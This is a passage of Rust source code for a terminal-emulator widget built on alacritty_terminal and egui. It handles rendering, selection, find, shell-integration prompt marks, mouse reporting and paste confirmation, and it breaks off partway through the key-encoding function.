//! TermView: an alacritty_terminal grid drawn with egui's painter. Bytes from a session go //! straight into the VT parser; keystrokes, paste, mouse reports and terminal replies come back //! out through `TermResponse` for the app to send to the session (and broadcast targets). use crate::terminal_themes::TermTheme; use alacritty_terminal::event::{Event as TermEvent, EventListener}; use alacritty_terminal::grid::{Dimensions, Scroll}; use alacritty_terminal::index::{Column, Line, Point, Side}; use alacritty_terminal::selection::{Selection, SelectionType}; use alacritty_terminal::term::cell::Flags; use alacritty_terminal::term::test::TermSize; use alacritty_terminal::term::{Config, Term, TermMode}; use alacritty_terminal::vte::ansi::{self, Color, CursorShape, NamedColor, Processor, StdSyncHandler}; use egui::{Color32, Event, FontId, Key, Modifiers, PointerButton, Pos2, Rect, Sense, Stroke, Ui, pos2, vec2}; use parking_lot::Mutex; use std::sync::Arc; #[derive(Clone, Default)] struct Listener(Arc>>); impl EventListener for Listener { fn send_event(&self, e: TermEvent) { if matches!(e, TermEvent::PtyWrite(_) | TermEvent::Title(_) | TermEvent::Bell | TermEvent::ClipboardStore(..)) { self.0.lock().push(e); } } } /// What the context menu asked for; the app carries these out. #[derive(Clone, Copy, Debug, PartialEq, Eq)] pub enum MenuAction { Copy, Paste, SelectAll, Find, SendSnippet, PortForwards, SplitRight, SplitDown, Export, Clear, Reset, PrevPrompt, NextPrompt, CopyOutput, } #[derive(Default)] pub struct TermResponse { /// User input (keys, paste, mouse reports): goes to the session and broadcast targets. pub input: Vec, /// Terminal replies (DA, DSR, …): go to this session only. pub reply: Vec, pub resized: Option<(u16, u16)>, pub menu: Option, pub title: Option, pub bell: bool, pub focused: bool, /// Text the remote asked to put on the clipboard (OSC 52); the app applies its preference. pub clipboard: Option, /// A paste held back for confirmation (see [`TermView::paste`]). pub confirm_paste: Option, } #[derive(Clone, Copy, PartialEq, Eq, Default)] pub enum CursorStyle { #[default] Block, Underline, Bar, } impl CursorStyle { pub fn from_id(s: &str) -> Self { match s { "underline" => Self::Underline, "bar" => Self::Bar, _ => Self::Block, } } } #[derive(Default)] pub struct Find { pub query: String, pub case_sensitive: bool, pub regex: bool, /// (grid line, first column, last column inclusive) pub matches: Vec<(i32, usize, usize)>, pub current: usize, pub error: Option, computed_for: Option<(String, bool, bool, u64)>, } pub struct TermView { term: Term, parser: Processor, events: Listener, pub font_size: f32, pub cursor: CursorStyle, cols: u16, rows: u16, drag: Option<(Point, SelectionType)>, last_click: (f64, u32, Pos2), wheel_acc: f32, mouse_down: Option, /// Bumped on every feed, so find results know when to recompute. generation: u64, pub find: Option, focus_requested: bool, /// Hold back multi-line pastes that would run unbracketed (set from preferences each frame). pub confirm_paste: bool, osc: crate::osc::OscScanner, /// Shell-integration prompts (OSC 133), oldest first. prompts: Vec, /// Lines rotated out of a full scrollback since start, so marks keep pointing at their text. rotated: i64, max_history: usize, /// The working directory the shell last reported (OSC 7): (host, path). pub reported_cwd: Option<(String, String)>, } /// One command as shell integration reported it. Lines are stable indexes (see `stable`). #[derive(Clone, Debug)] struct PromptMark { prompt: i64, output: Option, end: Option, exit: Option, started: Option, duration: Option, } /// Marks kept per terminal; older ones are dropped. const MAX_PROMPTS: usize = 5000; const URL_RE: &str = r#"(?:https?|ftp)://[^\s<>"'`]+[^\s<>"'`.,;:!?)\]]"#; fn rgb(c: [u8; 4]) -> Color32 { Color32::from_rgba_unmultiplied(c[0], c[1], c[2], c[3]) } impl TermView { pub fn new(scrollback: usize, font_size: f32, cursor: CursorStyle) -> TermView { let events = Listener::default(); let config = Config { scrolling_history: scrollback.min(100_000), ..Config::default() }; TermView { term: Term::new(config, &TermSize::new(80, 24), events.clone()), parser: Processor::new(), events, font_size: font_size.clamp(6.0, 48.0), cursor, cols: 80, rows: 24, drag: None, last_click: (0.0, 0, Pos2::ZERO), wheel_acc: 0.0, mouse_down: None, generation: 0, find: None, focus_requested: true, confirm_paste: false, osc: Default::default(), prompts: Vec::new(), rotated: 0, max_history: scrollback.min(100_000), reported_cwd: None, } } pub fn feed(&mut self, bytes: &[u8]) { let mut start = 0; for (end, osc) in self.osc.scan(bytes) { self.advance(&bytes[start..end]); start = end; self.apply_osc(osc); } self.advance(&bytes[start..]); self.generation += 1; } /// Feeds the VT parser, counting lines a full scrollback rotates out (one per line feed at the /// bottom of the screen) so shell-integration marks stay on their lines. fn advance(&mut self, bytes: &[u8]) { if self.prompts.is_empty() || self.term.mode().contains(TermMode::ALT_SCREEN) { self.parser.advance(&mut self.term, bytes); return; } let h0 = self.term.grid().history_size(); if h0 < self.max_history { self.parser.advance(&mut self.term, bytes); } else { // ponytail: counts LF at the bottom row only; scroll-region and CSI S scrolling while // the history is full can leave marks a few lines off. let bottom = self.rows as i32 - 1; for piece in bytes.split_inclusive(|&b| b == b'\n') { let at_bottom = self.term.grid().cursor.point.line.0 == bottom; self.parser.advance(&mut self.term, piece); if at_bottom && piece.ends_with(b"\n") && self.term.grid().history_size() == self.max_history { self.rotated += 1; } } } if self.term.grid().history_size() < h0 { // The scrollback was cleared: earlier marks point at nothing. self.prompts.clear(); } } /// Stable index of a grid line: unchanged as lines scroll into (and out of) the history. fn stable(&self, line: Line) -> i64 { self.term.grid().history_size() as i64 + line.0 as i64 + self.rotated } fn line_of(&self, stable: i64) -> Line { Line((stable - self.rotated - self.term.grid().history_size() as i64) as i32) } fn cursor_stable(&self) -> i64 { self.stable(self.term.grid().cursor.point.line) } fn apply_osc(&mut self, osc: crate::osc::Osc) { use crate::osc::Osc; match osc { Osc::Prompt => { let line = self.cursor_stable(); if self.prompts.last().is_some_and(|p| p.prompt == line) { return; } if self.prompts.len() >= MAX_PROMPTS { self.prompts.remove(0); } self.prompts.push(PromptMark { prompt: line, output: None, end: None, exit: None, started: None, duration: None }); } Osc::Output => { let line = self.cursor_stable(); if let Some(p) = self.prompts.last_mut() { p.output = Some(line); p.started = Some(std::time::Instant::now()); } } Osc::Finished(code) => { let line = self.cursor_stable(); if let Some(p) = self.prompts.last_mut().filter(|p| p.output.is_some() && p.end.is_none()) { p.end = Some(line); p.exit = code; p.duration = p.started.map(|t| t.elapsed()); } } Osc::Cwd { host, path } => self.reported_cwd = Some((host, path)), } } /// Scrolls so the previous (or next) prompt is at the top. False when there is none. pub fn jump_prompt(&mut self, forward: bool) -> bool { let top = Line(-(self.term.grid().display_offset() as i32)); let lines: Vec = self.prompts.iter().map(|p| self.line_of(p.prompt).0).filter(|&l| l >= self.term.grid().topmost_line().0).collect(); let target = if forward { lines.iter().copied().find(|&l| l > top.0) } else { lines.iter().rev().copied().find(|&l| l < top.0) }; let Some(line) = target else { return false }; let want_offset = (-line).clamp(0, self.term.grid().history_size() as i32); self.term.scroll_display(Scroll::Delta(want_offset - self.term.grid().display_offset() as i32)); true } /// The output of the most recent command that finished (shell integration). pub fn last_output(&self) -> Option { let p = self.prompts.iter().rev().find(|p| p.output.is_some() && p.end.is_some())?; let (from, to) = (self.line_of(p.output?).0.max(self.term.grid().topmost_line().0), self.line_of(p.end?).0); let text: Vec = (from..to).map(|l| self.line_text(Line(l)).0.trim_end().to_string()).collect(); Some(text.join("\n").trim_end_matches('\n').to_string()) } /// Whether the shell reports prompts (OSC 133), which enables the commands above. pub fn has_shell_integration(&self) -> bool { !self.prompts.is_empty() } pub fn size(&self) -> (u16, u16) { (self.cols, self.rows) } pub fn request_focus(&mut self) { self.focus_requested = true; } pub fn selection_text(&self) -> Option { self.term.selection_to_string().filter(|s| !s.is_empty()) } pub fn select_all(&mut self) { let top = self.term.grid().topmost_line(); let bottom = self.term.grid().bottommost_line(); let mut s = Selection::new(SelectionType::Simple, Point::new(top, Column(0)), Side::Left); s.update(Point::new(bottom, Column(self.cols.saturating_sub(1) as usize)), Side::Right); self.term.selection = Some(s); } /// Clears the scrollback and the screen (the shell redraws its prompt on its own). pub fn clear(&mut self) { use ansi::Handler; self.term.clear_screen(ansi::ClearMode::Saved); self.feed(b"\x1b[H\x1b[2J"); } pub fn reset(&mut self) { use ansi::Handler; self.term.reset_state(); self.generation += 1; } /// Every line of scrollback and screen as text, for Export Output. pub fn buffer_text(&self) -> String { let g = self.term.grid(); let mut out = String::new(); for l in g.topmost_line().0..=g.bottommost_line().0 { out.push_str(self.line_text(Line(l)).0.trim_end()); out.push('\n'); } out } /// Text of a grid line plus, for each char, the column it came from. fn line_text(&self, line: Line) -> (String, Vec) { let row = &self.term.grid()[line]; let (mut s, mut cols) = (String::new(), vec![]); for c in 0..self.term.columns() { let cell = &row[Column(c)]; if cell.flags.intersects(Flags::WIDE_CHAR_SPACER | Flags::LEADING_WIDE_CHAR_SPACER) { continue; } s.push(cell.c); cols.push(c); } (s, cols) } fn color(&self, c: Color, theme: &TermTheme, bold: bool) -> Color32 { let pal = |i: usize| -> Color32 { if let Some(rgb) = self.term.colors()[i] { return Color32::from_rgb(rgb.r, rgb.g, rgb.b); } if i < 16 { return crate::terminal::rgb(theme.ansi[i]); } if i < 232 { let i = i - 16; let v = |x: usize| if x == 0 { 0 } else { (55 + x * 40) as u8 }; return Color32::from_rgb(v(i / 36), v((i / 6) % 6), v(i % 6)); } let g = (8 + (i - 232) * 10) as u8; Color32::from_rgb(g, g, g) }; match c { Color::Spec(rgb) => Color32::from_rgb(rgb.r, rgb.g, rgb.b), Color::Indexed(i) => { let i = i as usize; pal(if bold && i < 8 { i + 8 } else { i }) } Color::Named(n) => match n { NamedColor::Foreground | NamedColor::BrightForeground => rgb(theme.foreground), NamedColor::Background => rgb(theme.background), NamedColor::Cursor => rgb(theme.cursor), NamedColor::DimForeground => rgb(theme.foreground).gamma_multiply(0.7), n => { let i = n as usize; if i < 16 { pal(if bold && i < 8 { i + 8 } else { i }) } else if (NamedColor::DimBlack as usize..=NamedColor::DimWhite as usize).contains(&i) { pal(i - NamedColor::DimBlack as usize).gamma_multiply(0.7) } else { rgb(theme.foreground) } } }, } } fn cell_metrics(&self, ui: &Ui) -> (FontId, f32, f32) { let font = FontId::monospace(self.font_size); let (w, h) = ui.fonts_mut(|f| (f.glyph_width(&font, 'M'), f.row_height(&font))); (font, w.max(1.0), h.ceil().max(1.0)) } /// Grid point under a screen position. fn point_at(&self, origin: Pos2, cw: f32, ch: f32, p: Pos2) -> (Point, Side) { let col = ((p.x - origin.x) / cw).floor().clamp(0.0, self.cols.saturating_sub(1) as f32); let row = ((p.y - origin.y) / ch).floor().clamp(0.0, self.rows.saturating_sub(1) as f32); let side = if (p.x - origin.x) / cw - col > 0.5 { Side::Right } else { Side::Left }; let line = Line(row as i32 - self.term.grid().display_offset() as i32); (Point::new(line, Column(col as usize)), side) } pub fn ui(&mut self, ui: &mut Ui, theme: &TermTheme, active: bool) -> TermResponse { let mut out = TermResponse::default(); let (font, cw, ch) = self.cell_metrics(ui); let pad = vec2(6.0, 4.0); let rect = ui.available_rect_before_wrap(); let resp = ui.allocate_rect(rect, Sense::click_and_drag()); let id = resp.id; let origin = rect.min + pad; // Fit the grid to the widget. let cols = (((rect.width() - 2.0 * pad.x) / cw).floor() as u16).max(2); let rows = (((rect.height() - 2.0 * pad.y) / ch).floor() as u16).max(1); if (cols, rows) != (self.cols, self.rows) { self.cols = cols; self.rows = rows; self.term.resize(TermSize::new(cols as usize, rows as usize)); out.resized = Some((cols, rows)); } if resp.clicked() || resp.drag_started() || (active && self.focus_requested) { ui.memory_mut(|m| m.request_focus(id)); self.focus_requested = false; } let focused = ui.memory(|m| m.has_focus(id)); out.focused = focused; if focused { ui.memory_mut(|m| m.set_focus_lock_filter(id, egui::EventFilter { tab: true, horizontal_arrows: true, vertical_arrows: true, escape: true })); self.keyboard(ui, &mut out); let cur = self.term.grid().cursor.point; let cursor_rect = Rect::from_min_size(origin + vec2(cur.column.0 as f32 * cw, cur.line.0 as f32 * ch), vec2(cw, ch)); ui.output_mut(|o| { o.ime = Some(egui::output::IMEOutput { purpose: egui::IMEPurpose::Terminal, rect, cursor_rect, should_interrupt_composition: false }) }); } self.mouse(ui, &resp, origin, cw, ch, &mut out); // Terminal-originated events. for e in std::mem::take(&mut *self.events.0.lock()) { match e { TermEvent::PtyWrite(s) => out.reply.extend_from_slice(s.as_bytes()), TermEvent::Title(t) => out.title = Some(t), TermEvent::Bell => out.bell = true, TermEvent::ClipboardStore(_, s) => out.clipboard = Some(s), _ => {} } } self.paint(ui, rect, origin, &font, cw, ch, theme, focused); // Exit status of each finished command, as a bar beside its prompt (shell integration). let hover = ui.input(|i| i.pointer.hover_pos()); for (bar, exit, took) in self.status_bars(rect, origin, ch) { let color = match exit { Some(0) => Color32::from_rgb(0x4c, 0xaf, 0x50), Some(_) => Color32::from_rgb(0xe5, 0x39, 0x35), None => Color32::GRAY, }; ui.painter_at(rect).rect_filled(bar, 1.0, color); if hover.is_some_and(|p| bar.expand2(vec2(3.0, 0.0)).contains(p)) { let exit = exit.map_or("finished".to_string(), |c| format!("exit {c}")); let took = took.map_or(String::new(), |d| format!(" · {:.1?}", d)); egui::Tooltip::always_open(ui.ctx().clone(), ui.layer_id(), egui::Id::new(("cmd-status", bar.min.y as i32)), egui::PopupAnchor::Pointer) .show(|ui| ui.label(format!("{exit}{took}"))); } } resp.context_menu(|ui| { let m = if cfg!(target_os = "macos") { "⌘" } else { "Ctrl+" }; let items: [(MenuAction, &str, String); 11] = [ (MenuAction::Copy, "Copy", format!("{m}C")), (MenuAction::Paste, "Paste", format!("{m}V")), (MenuAction::SelectAll, "Select All", String::new()), (MenuAction::Find, "Find", format!("{m}F")), (MenuAction::SendSnippet, "Send Snippet", format!("{m}Shift+S")), (MenuAction::PortForwards, "Port Forwards", String::new()), (MenuAction::SplitRight, "Split Right", format!("{m}Shift+D")), (MenuAction::SplitDown, "Split Down", format!("{m}Shift+E")), (MenuAction::Export, "Export Output", String::new()), (MenuAction::Clear, "Clear", String::new()), (MenuAction::Reset, "Reset", String::new()), ]; if self.has_shell_integration() { for (a, label, keys) in [ (MenuAction::PrevPrompt, "Previous Prompt", format!("{m}Shift+↑")), (MenuAction::NextPrompt, "Next Prompt", format!("{m}Shift+↓")), (MenuAction::CopyOutput, "Copy Last Command Output", String::new()), ] { if ui.add(egui::Button::new(label).shortcut_text(keys).min_size(vec2(200.0, 0.0))).clicked() { out.menu = Some(a); ui.close(); } } ui.separator(); } for (i, (a, label, keys)) in items.into_iter().enumerate() { if matches!(i, 3 | 5 | 6 | 8) { ui.separator(); } if ui.add(egui::Button::new(label).shortcut_text(keys).min_size(vec2(200.0, 0.0))).clicked() { out.menu = Some(a); ui.close(); } } }); if let Some(MenuAction::Copy) = out.menu && let Some(s) = self.selection_text() { ui.ctx().copy_text(s); out.menu = None; } if out.menu == Some(MenuAction::SelectAll) { self.select_all(); out.menu = None; } match out.menu { Some(a @ (MenuAction::PrevPrompt | MenuAction::NextPrompt)) => { self.jump_prompt(a == MenuAction::NextPrompt); out.menu = None; } Some(MenuAction::CopyOutput) => { if let Some(text) = self.last_output() { ui.ctx().copy_text(text); } out.menu = None; } _ => {} } out } /// Where to draw each visible finished command's status bar, with its exit code and duration. fn status_bars(&self, rect: Rect, origin: Pos2, ch: f32) -> Vec<(Rect, Option, Option)> { let offset = self.term.grid().display_offset() as i32; self.prompts .iter() .filter(|p| p.end.is_some()) .filter_map(|p| { let vr = self.line_of(p.prompt).0 + offset; (0..self.rows as i32).contains(&vr).then(|| { let y = origin.y + vr as f32 * ch; (Rect::from_min_max(pos2(rect.left(), y + 1.0), pos2(rect.left() + 3.0, y + ch - 1.0)), p.exit, p.duration) }) }) .collect() } fn keyboard(&mut self, ui: &mut Ui, out: &mut TermResponse) { let events = ui.input(|i| i.events.clone()); let mode = *self.term.mode(); let alt_meta = !cfg!(target_os = "macos"); let mut typed = false; for e in events { match e { Event::Copy => match self.selection_text() { Some(s) => ui.ctx().copy_text(s), None => out.input.push(3), }, Event::Cut => out.input.push(0x18), Event::Paste(text) => { self.paste(&text, out); typed = true; } Event::Text(t) => { if t.chars().any(|c| c.is_control()) { continue; } let alt = ui.input(|i| i.modifiers.alt); if alt && alt_meta { out.input.push(0x1b); } out.input.extend_from_slice(t.as_bytes()); typed = true; } Event::Ime(egui::ImeEvent::Commit(t)) => { out.input.extend_from_slice(t.as_bytes()); typed = true; } Event::Key { key, pressed: true, modifiers, .. } => { // Ctrl/Cmd+Shift+Up/Down jump between prompts (shell integration). if modifiers.command && modifiers.shift && matches!(key, Key::ArrowUp | Key::ArrowDown) && self.has_shell_integration() { self.jump_prompt(key == Key::ArrowDown); continue; } // Shift+PageUp/PageDown/Home/End scroll the local scrollback. if modifiers.shift && !modifiers.ctrl && !mode.contains(TermMode::ALT_SCREEN) { let page = self.rows as i32 - 1; let scroll = match key { Key::PageUp => Some(Scroll::Delta(page)), Key::PageDown => Some(Scroll::Delta(-page)), Key::Home => Some(Scroll::Top), Key::End => Some(Scroll::Bottom), _ => None, }; if let Some(s) = scroll { self.term.scroll_display(s); continue; } } if let Some(bytes) = key_bytes(key, modifiers, mode) { out.input.extend_from_slice(&bytes); typed = true; } } _ => {} } } if typed { self.term.selection = None; self.term.scroll_display(Scroll::Bottom); } } /// Pastes `text`, or hands it back in `out.confirm_paste` when `confirm_paste` is set and the /// newlines would run each line immediately (no bracketed paste). pub fn paste(&mut self, text: &str, out: &mut TermResponse) { if self.confirm_paste && !self.term.mode().contains(TermMode::BRACKETED_PASTE) && text.contains(['\n', '\r']) { out.confirm_paste = Some(text.into()); return; } self.paste_now(text, out); } pub fn paste_now(&mut self, text: &str, out: &mut TermResponse) { let text = text.replace("\r\n", "\r").replace('\n', "\r"); if self.term.mode().contains(TermMode::BRACKETED_PASTE) { out.input.extend_from_slice(b"\x1b[200~"); out.input.extend_from_slice(text.replace('\x1b', "").as_bytes()); out.input.extend_from_slice(b"\x1b[201~"); } else { out.input.extend_from_slice(text.as_bytes()); } } fn mouse(&mut self, ui: &mut Ui, resp: &egui::Response, origin: Pos2, cw: f32, ch: f32, out: &mut TermResponse) { let mode = *self.term.mode(); let reporting = mode.intersects(TermMode::MOUSE_MODE) && !ui.input(|i| i.modifiers.shift); let hover = resp.hover_pos(); let events = ui.input(|i| i.events.clone()); let to_cell = |p: Pos2| { let c = ((p.x - origin.x) / cw).floor().max(0.0) as u32; let r = ((p.y - origin.y) / ch).floor().max(0.0) as u32; (c.min(self.cols as u32 - 1), r.min(self.rows as u32 - 1)) }; for e in &events { match e { Event::MouseWheel { delta, unit, modifiers, .. } if hover.is_some() => { if modifiers.command { continue; // left for zoom } let lines = match unit { egui::MouseWheelUnit::Point => delta.y / ch, egui::MouseWheelUnit::Line => delta.y, egui::MouseWheelUnit::Page => delta.y * self.rows as f32, }; self.wheel_acc += lines; let n = self.wheel_acc.trunc() as i32; if n == 0 { continue; } self.wheel_acc -= n as f32; if reporting { let (c, r) = to_cell(hover.unwrap()); for _ in 0..n.unsigned_abs() { out.input.extend(mouse_report(if n > 0 { 64 } else { 65 }, c, r, true, mode)); } } else if mode.contains(TermMode::ALT_SCREEN) { let seq: &[u8] = if n > 0 { b"\x1b[A" } else { b"\x1b[B" }; for _ in 0..n.unsigned_abs() { out.input.extend_from_slice(seq); } } else { self.term.scroll_display(Scroll::Delta(n)); } } Event::PointerButton { pos, button, pressed, modifiers } if resp.rect.contains(*pos) => { let b = match button { PointerButton::Primary => 0, PointerButton::Middle => 1, PointerButton::Secondary => 2, _ => continue, }; if reporting && b != 2 || reporting && mode.contains(TermMode::MOUSE_MODE) && b == 2 && !*pressed { let (c, r) = to_cell(*pos); out.input.extend(mouse_report(b, c, r, *pressed, mode)); self.mouse_down = pressed.then_some(b); continue; } if b != 0 { continue; } if *pressed { if modifiers.command && let Some(url) = self.url_at(origin, cw, ch, *pos) { ui.ctx().open_url(egui::OpenUrl::new_tab(url)); continue; } let now = ui.input(|i| i.time); let (t, n, p) = self.last_click; let count = if now - t < 0.4 && p.distance(*pos) < 4.0 { n % 3 + 1 } else { 1 }; self.last_click = (now, count, *pos); let (point, side) = self.point_at(origin, cw, ch, *pos); let ty = match count { 2 => SelectionType::Semantic, 3 => SelectionType::Lines, _ => SelectionType::Simple, }; self.term.selection = (count > 1 || modifiers.shift).then(|| Selection::new(ty, point, side)); if modifiers.shift && let Some(s) = &mut self.term.selection { s.update(point, side); } self.drag = Some((point, ty)); } else { self.drag = None; } } Event::PointerMoved(p) => { if reporting { if let Some(b) = self.mouse_down && (mode.contains(TermMode::MOUSE_DRAG) || mode.contains(TermMode::MOUSE_MOTION)) && resp.rect.contains(*p) { let (c, r) = to_cell(*p); out.input.extend(mouse_report(b + 32, c, r, true, mode)); } continue; } if let Some((start, ty)) = self.drag { let (point, side) = self.point_at(origin, cw, ch, *p); if self.term.selection.is_none() && point != start { self.term.selection = Some(Selection::new(ty, start, Side::Left)); } if let Some(s) = &mut self.term.selection { s.update(point, side); } // Auto-scroll while dragging past the edges. if p.y < resp.rect.top() { self.term.scroll_display(Scroll::Delta(1)); } else if p.y > resp.rect.bottom() { self.term.scroll_display(Scroll::Delta(-1)); } } } _ => {} } } if let Some(p) = hover && ui.input(|i| i.modifiers.command) && self.url_at(origin, cw, ch, p).is_some() { ui.ctx().set_cursor_icon(egui::CursorIcon::PointingHand); } else if hover.is_some() { ui.ctx().set_cursor_icon(egui::CursorIcon::Text); } } fn url_at(&self, origin: Pos2, cw: f32, ch: f32, p: Pos2) -> Option { let (point, _) = self.point_at(origin, cw, ch, p); let (text, cols) = self.line_text(point.line); let re = regex::Regex::new(URL_RE).ok()?; re.find_iter(&text).find_map(|m| { let start = text[..m.start()].chars().count(); let end = start + m.as_str().chars().count() - 1; (cols.get(start)? <= &point.column.0 && cols.get(end)? >= &point.column.0).then(|| m.as_str().to_string()) }) } #[allow(clippy::too_many_arguments)] fn paint(&mut self, ui: &mut Ui, rect: Rect, origin: Pos2, font: &FontId, cw: f32, ch: f32, theme: &TermTheme, focused: bool) { let painter = ui.painter_at(rect); let bg_default = rgb(theme.background); painter.rect_filled(rect, 0.0, bg_default); let offset = self.term.grid().display_offset() as i32; let selection = self.term.selection.as_ref().and_then(|s| s.to_range(&self.term)); let sel_bg = rgb(theme.selection); self.refresh_find(); let finds: Vec<(i32, usize, usize, bool)> = self.find.as_ref().map(|f| f.matches.iter().enumerate().map(|(i, &(l, a, b))| (l, a, b, i == f.current)).collect()).unwrap_or_default(); let ncols = self.cols as usize; for vr in 0..self.rows as i32 { let line = Line(vr - offset); if line.0 > self.term.grid().bottommost_line().0 { break; } let y = origin.y + vr as f32 * ch; let row = &self.term.grid()[line]; let mut run = String::new(); let mut run_x = 0.0; let mut run_color = Color32::TRANSPARENT; let flush = |run: &mut String, x: f32, color: Color32| { if !run.trim().is_empty() { painter.text(pos2(x, y), egui::Align2::LEFT_TOP, run.as_str(), font.clone(), color); } run.clear(); }; for c in 0..ncols.min(self.term.columns()) { let cell = &row[Column(c)]; if cell.flags.contains(Flags::WIDE_CHAR_SPACER) { continue; } let bold = cell.flags.contains(Flags::BOLD); let mut fg = self.color(cell.fg, theme, bold); let mut bg = self.color(cell.bg, theme, false); if cell.flags.contains(Flags::INVERSE) { std::mem::swap(&mut fg, &mut bg); } if cell.flags.contains(Flags::DIM) { fg = fg.gamma_multiply(0.66); } let point = Point::new(line, Column(c)); let width = if cell.flags.contains(Flags::WIDE_CHAR) { 2.0 } else { 1.0 }; let x = origin.x + c as f32 * cw; let cell_rect = Rect::from_min_size(pos2(x, y), vec2(cw * width, ch)); if selection.as_ref().is_some_and(|s| s.contains(point)) { bg = sel_bg; } else if let Some(&(_, _, _, cur)) = finds.iter().find(|(l, a, b, _)| *l == line.0 && (*a..=*b).contains(&c)) { bg = if cur { Color32::from_rgb(255, 160, 40) } else { Color32::from_rgba_unmultiplied(255, 200, 60, 110) }; if cur { fg = Color32::BLACK; } } if bg != bg_default { painter.rect_filled(cell_rect, 0.0, bg); } if cell.flags.intersects(Flags::ALL_UNDERLINES) { painter.hline(cell_rect.x_range(), y + ch - 1.5, Stroke::new(1.0, fg)); } if cell.flags.contains(Flags::STRIKEOUT) { painter.hline(cell_rect.x_range(), y + ch * 0.55, Stroke::new(1.0, fg)); } let hidden = cell.flags.contains(Flags::HIDDEN); let chr = if hidden { ' ' } else { cell.c }; // ASCII runs share one text call; anything else (including ASCII with combining // marks) is placed on its own cell so a fallback font's advance can't push later // glyphs off the grid. let plain = chr.is_ascii() && width == 1.0 && cell.zerowidth().is_none(); if plain && fg == run_color && !run.is_empty() { run.push(chr); continue; } flush(&mut run, run_x, run_color); if plain { run.push(chr); run_x = x; run_color = fg; } else if chr != ' ' { let mut s = String::from(chr); if let Some(z) = cell.zerowidth() { s.extend(z); } // Top-anchored like the ASCII runs: centring vertically in the (rounded-up) // cell height drew accented and other non-ASCII glyphs below the baseline. painter.text(pos2(cell_rect.center().x, y), egui::Align2::CENTER_TOP, s, font.clone(), fg); } } flush(&mut run, run_x, run_color); } // Cursor. let mode = *self.term.mode(); let cur = self.term.grid().cursor.point; let vr = cur.line.0 + offset; if mode.contains(TermMode::SHOW_CURSOR) && (0..self.rows as i32).contains(&vr) { let blink_on = !focused || (ui.input(|i| i.time) * 1.9) as i64 % 2 == 0; if focused { ui.ctx().request_repaint_after(std::time::Duration::from_millis(530)); } let r = Rect::from_min_size(pos2(origin.x + cur.column.0 as f32 * cw, origin.y + vr as f32 * ch), vec2(cw, ch)); let c = rgb(theme.cursor); let shape = match self.term.cursor_style().shape { CursorShape::Underline => CursorStyle::Underline, CursorShape::Beam => CursorStyle::Bar, CursorShape::Block if self.term.cursor_style() == alacritty_terminal::vte::ansi::CursorStyle::default() => self.cursor, _ => CursorStyle::Block, }; if !focused { painter.rect_stroke(r, 0.0, Stroke::new(1.0, c), egui::StrokeKind::Inside); } else if blink_on { match shape { CursorStyle::Block => { painter.rect_filled(r, 0.0, c); let cell = &self.term.grid()[cur.line][cur.column]; if cell.c != ' ' { painter.text(r.left_top(), egui::Align2::LEFT_TOP, cell.c, font.clone(), rgb(theme.cursor_accent)); } } CursorStyle::Underline => { painter.rect_filled(Rect::from_min_max(pos2(r.left(), r.bottom() - 2.0), r.max), 0.0, c); } CursorStyle::Bar => { painter.rect_filled(Rect::from_min_size(r.min, vec2(2.0, ch)), 0.0, c); } } } } // Scroll position indicator when looking at history. if offset > 0 { let total = (self.term.grid().history_size() + self.rows as usize) as f32; let h = (rect.height() * self.rows as f32 / total).max(16.0); let top = rect.top() + (rect.height() - h) * (1.0 - offset as f32 / self.term.grid().history_size().max(1) as f32); painter.rect_filled(Rect::from_min_size(pos2(rect.right() - 5.0, top), vec2(3.0, h)), 2.0, rgb(theme.foreground).gamma_multiply(0.35)); } } // --- find --------------------------------------------------------------------------- fn refresh_find(&mut self) { let generation = self.generation; let Some(f) = &self.find else { return }; let key = (f.query.clone(), f.case_sensitive, f.regex, generation); if f.computed_for.as_ref() == Some(&key) { return; } let pattern = if f.regex { f.query.clone() } else { regex::escape(&f.query) }; let pattern = if f.case_sensitive { pattern } else { format!("(?i){pattern}") }; let mut matches = vec![]; let mut error = None; if !f.query.is_empty() { match regex::Regex::new(&pattern) { Ok(re) => { let g = self.term.grid(); for l in g.topmost_line().0..=g.bottommost_line().0 { let (text, cols) = self.line_text(Line(l)); for m in re.find_iter(&text) { if m.as_str().is_empty() { continue; } let a = text[..m.start()].chars().count(); let b = a + m.as_str().chars().count() - 1; if let (Some(&ca), Some(&cb)) = (cols.get(a), cols.get(b)) { matches.push((l, ca, cb)); } } } } Err(e) => error = Some(e.to_string()), } } let f = self.find.as_mut().unwrap(); let had = f.matches.len(); f.matches = matches; f.error = error; if had == 0 || f.current >= f.matches.len() { f.current = f.matches.len().saturating_sub(1); } f.computed_for = Some(key); } /// Moves to the next (or previous) match and scrolls it into view. pub fn find_step(&mut self, forward: bool) { self.refresh_find(); let Some(f) = &mut self.find else { return }; if f.matches.is_empty() { return; } let n = f.matches.len(); f.current = if forward { (f.current + 1) % n } else { (f.current + n - 1) % n }; let line = f.matches[f.current].0; self.reveal(line); } fn reveal(&mut self, line: i32) { let offset = self.term.grid().display_offset() as i32; let rows = self.rows as i32; let vr = line + offset; if !(0..rows).contains(&vr) { let target = (rows / 2 - line).clamp(0, self.term.grid().history_size() as i32); self.term.scroll_display(Scroll::Delta(target - offset)); } } pub fn find_counts(&self) -> (usize, usize) { self.find.as_ref().map_or((0, 0), |f| (if f.matches.is_empty() { 0 } else { f.current + 1 }, f.matches.len())) } } /// xterm encoding of a mouse event at 0-based cell (c, r). fn mouse_report(button: u8, c: u32, r: u32, pressed: bool, mode: TermMode) -> Vec { if mode.contains(TermMode::SGR_MOUSE) { format!("\x1b[<{button};{};{}{}", c + 1, r + 1, if pressed { 'M' } else { 'm' }).into_bytes() } else { let b = if pressed { button } else { 3 }; let enc = |v: u32| (32 + v + 1).min(255) as u8; vec![0x1b, b'[', b'M', 32 + b, enc(c), enc(r)] } } /// Bytes an xterm sends for a non-text key. pub fn key_bytes(key: Key, m: Modifiers, mode: TermMode) -> Option> { let app_cursor = mode.contains(TermMode::APP_CURSOR); let mods = 1 + (m.shift as u8) + 2 * (m.alt as u8) + 4 * (m.ctrl as u8); let csi = |final_: char| -> Vec { if mods > 1 { format!("\x1b[1;{mods}{final_}").into_bytes() } else if app_cursor { format!("\x1bO{final_}").into_bytes() } else { format!("\x1b[{final_}").into_bytes() } }; let tilde = |n: u8| -> Vec { if mods > 1 { format!("\x1b[{n};{mods}~") } else { format!("\x1b[{n}~") }.into_bytes() }; let ss3 = |final_: char| -> Vec { if mods > 1 { format!("\x1b[1;{mods}{final_}").into_bytes() } else { format!("\x1bO{final_}").into_bytes() } }; let esc = |b: &[u8]| -> Vec { let mut v = if m.alt { vec![0x1b] } else { vec![] }; v.extend_from_slice(b); v }; Some(match key { Key::Enter => esc(b"\r"), Key::Backspace => esc(if 